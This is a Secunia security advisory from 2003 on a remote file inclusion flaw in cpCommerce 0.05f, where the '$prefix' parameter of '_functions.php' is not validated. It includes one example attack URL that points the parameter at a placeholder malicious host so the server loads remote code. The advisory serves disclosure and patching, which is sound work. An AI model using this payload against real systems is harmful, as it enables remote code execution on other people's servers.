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cpCommerce Arbitrary File Inclusion Vulnerability
Secunia Advisory: SA10034
Release Date: 2003-10-20
Popularity: 5,006 views

Critical:
Highly critical
Impact: System access
Where: From remote
Solution Status: Vendor Patch

Software:cpCommerce 0.x

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Description:
A vulnerability has been reported in cpCommerce, which can be exploited by malicious people to compromise a vulnerable system.

The vulnerability is caused due to an input validation error in "_functions.php". This can be exploited to execute arbitrary code on a vulnerable system by supplying a path to a malicious file on a remote system in the "$prefix" variable.

Example, which includes "http://[malicious_site]/index_config.php" and "http://[malicious_site]/index_gateways.php":

http://[victim]/[path_of_cpcommerce]/_functions.php?prefix=http://[malicious_site]/index

The vulnerability has been reported in version 0.05f. Prior versions may also be affected.

Solution:
The vendor has posted some solutions at:
http://cpcommerce.org/#fixes

Provided and/or discovered by:
Astharot, Zone-H.

Original Advisory:
ZH2003-31SA:
http://www.zone-h.org/en/advisories/read/id=3284/


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